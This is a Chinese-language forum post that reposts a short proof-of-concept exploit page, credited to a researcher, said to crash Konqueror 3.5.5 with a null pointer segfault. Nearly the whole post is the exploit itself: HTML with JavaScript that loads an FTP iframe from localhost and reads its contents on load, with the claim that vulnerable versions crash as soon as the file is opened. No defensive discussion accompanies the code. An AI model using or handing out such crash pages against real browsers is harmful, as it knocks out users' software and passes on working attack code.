发新话题
打印

Konqueror 3.5.5 (JavaScript Read of FTP Iframe) DoS Exploit

Konqueror 3.5.5 (JavaScript Read of FTP Iframe) DoS Exploit

复制内容到剪贴板
代码:
<html>
<body>

Demo of how to make Konqueror 3.5.5 crash by [email]mark@bindshell.net[/email].<p>
Simply load this file in Konqueror. Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>

<script>
read_iframe = function(iframe_name) {
  var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
  alert(banner);
}

var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", &#39;ftp://localhost/anything&#39;);
iframe.setAttribute("name", &#39;myiframe&#39;);
iframe.setAttribute("id", &#39;myiframe&#39;);
iframe.setAttribute("onload", &#39;read_iframe("myiframe")&#39;);
iframe.style.width = "100px";
iframe.style.height = "100px";
  
document.body.appendChild(iframe);

</script>
</body>
</html>

TOP

发新话题